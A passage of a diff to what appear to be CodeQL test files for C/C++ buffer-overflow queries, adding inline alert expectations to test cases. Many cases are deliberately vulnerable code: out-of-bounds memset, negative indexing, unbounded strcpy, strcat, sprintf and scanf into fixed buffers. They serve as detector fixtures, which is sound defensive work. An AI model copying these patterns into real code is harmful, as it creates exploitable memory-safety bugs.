(b) { - memset(p1, 0, 20); // BAD + memset(p1, 0, 20); // BAD // $ Alert[cpp/overflow-buffer] memset(p2, 0, 20); // GOOD memset(p3, 0, 20); // GOOD } @@ -559,12 +559,12 @@ void test20() // ... } - if (fread(charBuffer, sizeof(char), 101, fileSource) > 0) // BAD + if (fread(charBuffer, sizeof(char), 101, fileSource) > 0) // BAD // $ Alert[cpp/overflow-buffer] { // ... } - if (fread(charBuffer, sizeof(int), 100, fileSource) > 0) // BAD + if (fread(charBuffer, sizeof(int), 100, fileSource) > 0) // BAD // $ Alert[cpp/overflow-buffer] { // ... } @@ -587,7 +587,7 @@ void test21(bool cond) char *ptr; int i; - if (buffer[-1] == 0) { return; } // BAD: accesses buffer[-1] + if (buffer[-1] == 0) { return; } // BAD: accesses buffer[-1] // $ Alert[cpp/overflow-buffer] ptr = buffer; if (cond) @@ -595,7 +595,7 @@ void test21(bool cond) ptr++; if (ptr[-1] == 0) { return; } // GOOD: accesses buffer[0] } else { - if (ptr[-1] == 0) { return; } // BAD: accesses buffer[-1] + if (ptr[-1] == 0) { return; } // BAD: accesses buffer[-1] // $ Alert[cpp/overflow-buffer] } if (ptr[-1] == 0) { return; } // BAD: accesses buffer[-1] or buffer[0] [NOT DETECTED] @@ -633,7 +633,7 @@ char* strcpy(char *, const char *); void test24(char* source) { char buffer[100]; - strcpy(buffer, source); // BAD + strcpy(buffer, source); // BAD // $ Alert[cpp/unbounded-write] } struct my_struct { @@ -646,7 +646,7 @@ void test25(char* source) { s.home = source; char buf[100]; - strcpy(buf, s.home); // BAD + strcpy(buf, s.home); // BAD // $ Alert[cpp/unbounded-write] } void test26(bool cond) @@ -655,7 +655,7 @@ void test26(bool cond) char *ptr; int i; - if (buffer[-1] == 0) { return; } // BAD: accesses buffer[-1] + if (buffer[-1] == 0) { return; } // BAD: accesses buffer[-1] // $ Alert[cpp/overflow-buffer] ptr = buffer; if (cond) @@ -663,7 +663,7 @@ void test26(bool cond) ptr += 1; if (ptr[-1] == 0) { return; } // GOOD: accesses buffer[0] } else { - if (ptr[-1] == 0) { return; } // BAD: accesses buffer[-1] + if (ptr[-1] == 0) { return; } // BAD: accesses buffer[-1] // $ Alert[cpp/overflow-buffer] } if (ptr[-1] == 0) { return; } // BAD: accesses buffer[-1] or buffer[0] [NOT DETECTED] @@ -726,15 +726,15 @@ struct HasSomeFields { }; void test32() { - memset(&c, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, a)); // BAD + memset(&c, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, a)); // BAD // $ Alert[cpp/overflow-buffer] }; void test33() { - memset(&c, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, b)); // BAD + memset(&c, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, b)); // BAD // $ Alert[cpp/overflow-buffer] }; void test34() { - memset(&b, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, a)); // BAD + memset(&b, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, a)); // BAD // $ Alert[cpp/overflow-buffer] }; void test35() { @@ -745,7 +745,7 @@ struct HasSomeFields { void test36() { HasSomeFields hsf; memset(&hsf.a, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, a)); // GOOD - memset(&hsf.c, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, a)); // BAD + memset(&hsf.c, 0, sizeof(HasSomeFields) - offsetof(HasSomeFields, a)); // BAD // $ Alert[cpp/overflow-buffer] } struct AnonUnionInStruct @@ -771,18 +771,18 @@ struct AnonUnionInStruct memset(&a_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_2)); // GOOD memset(&a_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, d)); // GOOD - memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_1)); // BAD + memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_1)); // BAD // $ Alert[cpp/overflow-buffer] memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_1)); // GOOD memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, c_1)); // GOOD - memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_2)); // BAD + memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_2)); // BAD // $ Alert[cpp/overflow-buffer] memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_2)); // GOOD memset(&b_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, d)); // GOOD - memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_1)); // BAD - memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_1)); // BAD + memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_1)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_1)); // BAD // $ Alert[cpp/overflow-buffer] memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, c_1)); // GOOD - memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_2)); // BAD - memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_2)); // GOOD + memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_2)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_2)); // GOOD // $ Alert[cpp/overflow-buffer] memset(&c_1, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, d)); // GOOD memset(&a_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_1)); // GOOD @@ -792,10 +792,10 @@ struct AnonUnionInStruct memset(&a_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_2)); // GOOD memset(&a_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, d)); // GOOD - memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_1)); // BAD + memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_1)); // BAD // $ Alert[cpp/overflow-buffer] memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_1)); // GOOD memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, c_1)); // GOOD - memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_2)); // BAD + memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, a_2)); // BAD // $ Alert[cpp/overflow-buffer] memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, b_2)); // GOOD memset(&b_2, 0, sizeof(AnonUnionInStruct) - offsetof(AnonUnionInStruct, d)); // GOOD }; @@ -813,7 +813,7 @@ struct UnionWithoutStruct void test37() { memset(&a, 0, sizeof(UnionWithoutStruct) - offsetof(UnionWithoutStruct, a)); // GOOD memset(&a, 0, sizeof(UnionWithoutStruct) - offsetof(UnionWithoutStruct, b)); // GOOD - memset(&b, 0, sizeof(UnionWithoutStruct) - offsetof(UnionWithoutStruct, a)); // BAD + memset(&b, 0, sizeof(UnionWithoutStruct) - offsetof(UnionWithoutStruct, a)); // BAD // $ Alert[cpp/overflow-buffer] }; }; @@ -840,20 +840,20 @@ struct S2 { memset(&f.inner.a, 0, sizeof(S2) - offsetof(S2, f)); // GOOD memset(&f.inner.a, 0, sizeof(S2) - offsetof(S2, u)); // GOOD - memset(&f.inner.b, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD + memset(&f.inner.b, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD // $ Alert[cpp/overflow-buffer] memset(&f.inner.b, 0, sizeof(S2) - offsetof(ThreeUInts, b)); // GOOD memset(&f.inner.b, 0, sizeof(S2) - offsetof(ThreeUInts, c)); // GOOD - memset(&f.inner.b, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD + memset(&f.inner.b, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD // $ Alert[cpp/overflow-buffer] memset(&f.inner.b, 0, sizeof(S2) - offsetof(FourUInts, x)); // GOOD - memset(&f.inner.b, 0, sizeof(S2) - offsetof(S2, f)); // BAD + memset(&f.inner.b, 0, sizeof(S2) - offsetof(S2, f)); // BAD // $ Alert[cpp/overflow-buffer] memset(&f.inner.b, 0, sizeof(S2) - offsetof(S2, u)); // GOOD - memset(&f.inner.c, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD - memset(&f.inner.c, 0, sizeof(S2) - offsetof(ThreeUInts, b)); // BAD + memset(&f.inner.c, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&f.inner.c, 0, sizeof(S2) - offsetof(ThreeUInts, b)); // BAD // $ Alert[cpp/overflow-buffer] memset(&f.inner.c, 0, sizeof(S2) - offsetof(ThreeUInts, c)); // GOOD - memset(&f.inner.c, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD + memset(&f.inner.c, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD // $ Alert[cpp/overflow-buffer] memset(&f.inner.c, 0, sizeof(S2) - offsetof(FourUInts, x)); // GOOD - memset(&f.inner.c, 0, sizeof(S2) - offsetof(S2, f)); // BAD + memset(&f.inner.c, 0, sizeof(S2) - offsetof(S2, f)); // BAD // $ Alert[cpp/overflow-buffer] memset(&f.inner.c, 0, sizeof(S2) - offsetof(S2, u)); // GOOD memset(&f.inner, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // GOOD @@ -864,12 +864,12 @@ struct S2 { memset(&f.inner, 0, sizeof(S2) - offsetof(S2, f)); // GOOD memset(&f.inner, 0, sizeof(S2) - offsetof(S2, u)); // GOOD - memset(&f.x, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD - memset(&f.x, 0, sizeof(S2) - offsetof(ThreeUInts, b)); // BAD - memset(&f.x, 0, sizeof(S2) - offsetof(ThreeUInts, c)); // BAD - memset(&f.x, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD + memset(&f.x, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&f.x, 0, sizeof(S2) - offsetof(ThreeUInts, b)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&f.x, 0, sizeof(S2) - offsetof(ThreeUInts, c)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&f.x, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD // $ Alert[cpp/overflow-buffer] memset(&f.x, 0, sizeof(S2) - offsetof(FourUInts, x)); // GOOD - memset(&f.x, 0, sizeof(S2) - offsetof(S2, f)); // GOOD + memset(&f.x, 0, sizeof(S2) - offsetof(S2, f)); // GOOD // $ Alert[cpp/overflow-buffer] memset(&f.x, 0, sizeof(S2) - offsetof(S2, u)); // GOOD memset(&f, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // GOOD @@ -880,12 +880,12 @@ struct S2 { memset(&f, 0, sizeof(S2) - offsetof(S2, f)); // GOOD memset(&f, 0, sizeof(S2) - offsetof(S2, u)); // GOOD - memset(&u, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD - memset(&u, 0, sizeof(S2) - offsetof(ThreeUInts, b)); // BAD - memset(&u, 0, sizeof(S2) - offsetof(ThreeUInts, c)); // BAD - memset(&u, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD - memset(&u, 0, sizeof(S2) - offsetof(FourUInts, x)); // BAD - memset(&u, 0, sizeof(S2) - offsetof(S2, f)); // BAD + memset(&u, 0, sizeof(S2) - offsetof(ThreeUInts, a)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&u, 0, sizeof(S2) - offsetof(ThreeUInts, b)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&u, 0, sizeof(S2) - offsetof(ThreeUInts, c)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&u, 0, sizeof(S2) - offsetof(FourUInts, inner)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&u, 0, sizeof(S2) - offsetof(FourUInts, x)); // BAD // $ Alert[cpp/overflow-buffer] + memset(&u, 0, sizeof(S2) - offsetof(S2, f)); // BAD // $ Alert[cpp/overflow-buffer] memset(&u, 0, sizeof(S2) - offsetof(S2, u)); // GOOD } }; @@ -981,24 +981,24 @@ void test28() { int arr[10]; int *ptr1 = arr; - ptr1[-1] = 0; // BAD: underrun write + ptr1[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] ptr1++; ptr1[-1] = 0; // GOOD int *ptr2 = arr; - ptr2[-1] = 0; // BAD: underrun write + ptr2[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] *ptr2++; ptr2[-1] = 0; // GOOD int *ptr3 = arr; - ptr3[-1] = 0; // BAD: underrun write + ptr3[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] if (cond()) { ptr3++; } ptr3[-1] = 0; // GOOD (depending what cond() does) int *ptr4 = arr; - ptr4[-1] = 0; // BAD: underrun write + ptr4[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] while (true) { ptr4++; if (cond()) break; @@ -1006,7 +1006,7 @@ void test28() { ptr4[-1] = 0; // GOOD int *ptr5 = arr; - ptr5[-1] = 0; // BAD: underrun write + ptr5[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] while (true) { if (cond()) ptr5++; if (cond()) break; @@ -1028,7 +1028,7 @@ void test29() { memset(ptr->arr1, 0, sizeof(ptr->arr1) + sizeof(ptr->arr2)); // GOOD (overwrites arr1, arr2) memset(&(ptr->arr1[0]), 0, sizeof(ptr->arr1) + sizeof(ptr->arr2)); // GOOD (overwrites arr1, arr2) - memset(ptr->arr1, 0, sizeof(ptr->arr1) + sizeof(ptr->arr2) + 10); // BAD + memset(ptr->arr1, 0, sizeof(ptr->arr1) + sizeof(ptr->arr2) + 10); // BAD // $ Alert[cpp/overflow-buffer] } struct UnionStruct { @@ -1047,14 +1047,14 @@ void test30() { UnionStruct us; memset(us.buffer1, 0, sizeof(us.buffer1)); // GOOD - memset(us.buffer1, 0, sizeof(us)); // BAD + memset(us.buffer1, 0, sizeof(us)); // BAD // $ Alert[cpp/overflow-buffer] memset(us.buffer2, 0, sizeof(us.buffer2)); // GOOD - memset(us.buffer2, 0, sizeof(us)); // BAD + memset(us.buffer2, 0, sizeof(us)); // BAD // $ Alert[cpp/overflow-buffer] strncpy(us.buffer1, "", sizeof(us.buffer1) - 1); // GOOD - strncpy(us.buffer1, "", sizeof(us) - 1); // BAD + strncpy(us.buffer1, "", sizeof(us) - 1); // BAD // $ Alert[cpp/badly-bounded-write] Alert[cpp/overflow-buffer] Alert[cpp/static-buffer-overflow] strncpy(us.buffer2, "", sizeof(us.buffer2) - 1); // GOOD - strncpy(us.buffer2, "", sizeof(us) - 1); // BAD + strncpy(us.buffer2, "", sizeof(us) - 1); // BAD // $ Alert[cpp/badly-bounded-write] Alert[cpp/overflow-buffer] Alert[cpp/static-buffer-overflow] } struct S_Size16 { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests_restrict.c b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests_restrict.c index 96a5571bf657..a081e77a7848 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests_restrict.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests_restrict.c @@ -9,7 +9,7 @@ char smallbuf[1], largebuf[2]; void test1() { memcpy(largebuf, smallbuf, 1); // GOOD - memcpy(largebuf, smallbuf, 2); // BAD: source over-read + memcpy(largebuf, smallbuf, 2); // BAD: source over-read // $ Alert[cpp/overflow-buffer] } int tests_restrict_main(int argc, char *argv[]) diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/unions.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/unions.cpp index bac7abb5187c..dc1e17d89794 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/unions.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/unions.cpp @@ -23,15 +23,15 @@ void myUnionTest() memset(&mu, 0, sizeof(mu)); memset(&mu, 0, sizeof(mu.small)); memset(&mu, 0, sizeof(mu.large)); - memset(&mu, 0, 200); // BAD + memset(&mu, 0, 200); // BAD // $ Alert[cpp/overflow-buffer] memset(&(mu.small), 0, sizeof(mu)); // (dubious) memset(&(mu.small), 0, sizeof(mu.small)); memset(&(mu.small), 0, sizeof(mu.large)); // (dubious) - memset(&(mu.small), 0, 200); // BAD + memset(&(mu.small), 0, 200); // BAD // $ Alert[cpp/overflow-buffer] memset(&(mu.large), 0, sizeof(mu)); memset(&(mu.large), 0, sizeof(mu.small)); // (dubious) memset(&(mu.large), 0, sizeof(mu.large)); - memset(&(mu.large), 0, 200); // BAD + memset(&(mu.large), 0, 200); // BAD // $ Alert[cpp/overflow-buffer] } // --- diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/var_size_struct.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/var_size_struct.cpp index d4fe3da48bd9..48af54182021 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/var_size_struct.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/var_size_struct.cpp @@ -68,9 +68,9 @@ void testVarStruct1() { vs1->amount = 1024; memset(vs1->data, 0, 1024); // GOOD - memset(vs1->data, 0, 1025); // BAD: buffer overflow + memset(vs1->data, 0, 1025); // BAD: buffer overflow // $ Alert[cpp/overflow-buffer] strncpy(vs1->data, "Hello, world!", 1024); // GOOD - strncpy(vs1->data, "Hello, world!", 1025); // BAD + strncpy(vs1->data, "Hello, world!", 1025); // BAD // $ Alert[cpp/badly-bounded-write] Alert[cpp/overflow-buffer] } struct varStruct2 { @@ -84,7 +84,7 @@ void testVarStruct2() { vs2->size = 16; vs2->elements[15] = 0; // GOOD - vs2->elements[16] = 0; // BAD: buffer overflow + vs2->elements[16] = 0; // BAD: buffer overflow // $ Alert[cpp/overflow-buffer] } struct notVarStruct1 { @@ -96,11 +96,11 @@ void testNotVarStruct1() { notVarStruct1 *nvs1 = (notVarStruct1 *)malloc(sizeof(notVarStruct1) * 2); memset(nvs1->str, 0, 128); // GOOD - memset(nvs1->str, 0, 129); // DUBIOUS: buffer overflow (overflows nvs1->str but not nvs1 overall) + memset(nvs1->str, 0, 129); // DUBIOUS: buffer overflow (overflows nvs1->str but not nvs1 overall) // $ Alert[cpp/overflow-buffer] memset(nvs1[1].str, 0, 128); // GOOD memset(nvs1[1].str, 0, 129); // BAD: buffer overflow [NOT DETECTED] strncpy(nvs1->str, "Hello, world!", 128); // GOOD - strncpy(nvs1->str, "Hello, world!", 129); // BAD + strncpy(nvs1->str, "Hello, world!", 129); // BAD // $ Alert[cpp/badly-bounded-write] Alert[cpp/overflow-buffer] Alert[cpp/static-buffer-overflow] } struct notVarStruct2 { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/UnsafeUseOfStrcat.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/UnsafeUseOfStrcat.qlref index 9790cddebab5..7f1a1cf35f2d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/UnsafeUseOfStrcat.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/UnsafeUseOfStrcat.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/UnsafeUseOfStrcat.ql +query: Likely Bugs/Memory Management/UnsafeUseOfStrcat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/test.c index c670533f9aff..cf3edad43db1 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/UnsafeUseOfStrcat/test.c @@ -17,7 +17,7 @@ void free(void *ptr); static void bad0(char *s) { char buf[80]; strcpy(buf, "s: "); - strcat(buf, s); // BAD -- s may be too long and overflow the buffer + strcat(buf, s); // BAD -- s may be too long and overflow the buffer // $ Alert } static void good0(char *s) { @@ -30,7 +30,7 @@ static void good0(char *s) { static void bad1(char *s, int len) { char *buf = malloc(len+4); strcpy(buf, "s: "); - strcat(buf, s); // BAD -- s may be too long and overflow the buffer + strcat(buf, s); // BAD -- s may be too long and overflow the buffer // $ Alert } static void good1(char *s, int len) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/BadlyBoundedWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/BadlyBoundedWrite.qlref index 9636c74d0a8f..76b6e5900218 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/BadlyBoundedWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/BadlyBoundedWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/BadlyBoundedWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/BadlyBoundedWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWrite.qlref index f6c962c1a7b4..18ae0f2a567b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWriteFloat.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWriteFloat.qlref index 757d1592e830..ba8f6a96a1fd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWriteFloat.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/OverrunWriteFloat.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWriteFloat.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWriteFloat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/UnboundedWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/UnboundedWrite.qlref index 767f2ea4db9d..36c47957d339 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/UnboundedWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/UnboundedWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/UnboundedWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/UnboundedWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/VeryLikelyOverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/VeryLikelyOverrunWrite.qlref index 94b53951c4b7..8dcc2f70c2f6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/VeryLikelyOverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/VeryLikelyOverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests.c b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests.c index 5d37ff374ba3..3919367d26a4 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-120/semmle/tests/tests.c @@ -13,7 +13,7 @@ int sscanf(const char *s, const char *format, ...); //// Test code ///// -int main(int argc, char *argv[]) +int main(int argc, char *argv[]) // $ Source[cpp/unbounded-write] { if (argc < 1) { @@ -25,13 +25,13 @@ int main(int argc, char *argv[]) char buffer100[100]; int i; - sprintf(buffer100, argv[0]); // BAD: argv[0] could be more than 100 characters - sprintf(buffer100, "%s", argv[0]); // BAD: argv[0] could be more than 100 characters + sprintf(buffer100, argv[0]); // BAD: argv[0] could be more than 100 characters // $ Alert[cpp/unbounded-write] + sprintf(buffer100, "%s", argv[0]); // BAD: argv[0] could be more than 100 characters // $ Alert[cpp/unbounded-write] - scanf("%s", buffer100); // BAD: the input could be more than 100 characters + scanf("%s", buffer100); // BAD: the input could be more than 100 characters // $ Alert[cpp/unbounded-write] scanf("%i", i); // GOOD: no problems with non-strings - scanf("%i %s", i, buffer100); // BAD: second format parameter may overflow - sscanf(argv[0], "%s", buffer100); // BAD: argv[0] could be more than 100 characters + scanf("%i %s", i, buffer100); // BAD: second format parameter may overflow // $ Alert[cpp/unbounded-write] + sscanf(argv[0], "%s", buffer100); // BAD: argv[0] could be more than 100 characters // $ Alert[cpp/unbounded-write] } // Test cases for BadlyBoundedWrite.ql @@ -40,10 +40,10 @@ int main(int argc, char *argv[]) snprintf(buffer110, 109, argv[0]); // GOOD snprintf(buffer110, 110, argv[0]); // GOOD - snprintf(buffer110, 111, argv[0]); // BAD: this could still overrun the 110 character buffer + snprintf(buffer110, 111, argv[0]); // BAD: this could still overrun the 110 character buffer // $ Alert[cpp/badly-bounded-write] snprintf(buffer110, 109, "%s", argv[0]); // GOOD snprintf(buffer110, 110, "%s", argv[0]); // GOOD - snprintf(buffer110, 111, "%s", argv[0]); // BAD: this could still overrun the 110 character buffer + snprintf(buffer110, 111, "%s", argv[0]); // BAD: this could still overrun the 110 character buffer // $ Alert[cpp/badly-bounded-write] } // Test cases for OverrunWrite.ql @@ -51,16 +51,16 @@ int main(int argc, char *argv[]) char buffer10[10]; sprintf(buffer10, "123456789"); // GOOD - sprintf(buffer10, "1234567890"); // BAD: the null terminator of this string overruns the buffer + sprintf(buffer10, "1234567890"); // BAD: the null terminator of this string overruns the buffer // $ Alert[cpp/very-likely-overrunning-write] sprintf(buffer10, "%.9s", "123456789"); // GOOD sprintf(buffer10, "%.9s", "1234567890"); // GOOD sprintf(buffer10, "%.10s", "123456789"); // GOOD - sprintf(buffer10, "%.10s", "1234567890"); // BAD: the precision specified is too large for this buffer + sprintf(buffer10, "%.10s", "1234567890"); // BAD: the precision specified is too large for this buffer // $ Alert[cpp/very-likely-overrunning-write] scanf("%8s", buffer10); // GOOD: restricted to 8 characters + null scanf("%9s", buffer10); // GOOD: restricted to 9 characters + null - scanf("%10s", buffer10); // BAD: null can overflow - scanf("%11s", buffer10); // BAD: string can overflow + scanf("%10s", buffer10); // BAD: null can overflow // $ Alert[cpp/very-likely-overrunning-write] + scanf("%11s", buffer10); // BAD: string can overflow // $ Alert[cpp/very-likely-overrunning-write] } // More complex tests for OverrunWrite.ql @@ -83,14 +83,14 @@ int main(int argc, char *argv[]) { str35 = "12345"; } - strcpy(buffer5, str35); // BAD: if str35 is "12345", it overflows the buffer + strcpy(buffer5, str35); // BAD: if str35 is "12345", it overflows the buffer // $ Alert[cpp/very-likely-overrunning-write] str35 = "abc"; strcpy(buffer5, str35); // GOOD: str35 is guaranteed to fit now strcpy(buffer5, (argc == 2) ? "1234" : "abcd"); // GOOD: both of the strings fit - strcpy(buffer5, (argc == 2) ? "1234" : "abcde"); // BAD: "abcde" overflows the buffer + strcpy(buffer5, (argc == 2) ? "1234" : "abcde"); // BAD: "abcde" overflows the buffer // $ Alert[cpp/very-likely-overrunning-write] } // Test cases for OverrunWriteFloat.ql @@ -100,9 +100,9 @@ int main(int argc, char *argv[]) double bigval = 1e304; sprintf(buffer256, "%e", bigval); // GOOD - sprintf(buffer256, "%f", bigval); // BAD: this %f representation may need more than 256 characters + sprintf(buffer256, "%f", bigval); // BAD: this %f representation may need more than 256 characters // $ Alert[cpp/overrunning-write-with-float] sprintf(buffer256, "%g", bigval); // GOOD - sprintf(buffer256, "%e%f%g", bigval, bigval, bigval); // BAD: the %f representation may need more than 256 characters + sprintf(buffer256, "%e%f%g", bigval, bigval, bigval); // BAD: the %f representation may need more than 256 characters // $ Alert[cpp/overrunning-write-with-float] // GOOD: a 999 character buffer is sufficient in all of these cases sprintf(buffer999, "%e", bigval); // GOOD @@ -117,8 +117,8 @@ int main(int argc, char *argv[]) char buffer16[16]; char buffer17[17]; char buffer49[49]; - sprintf(buffer1, 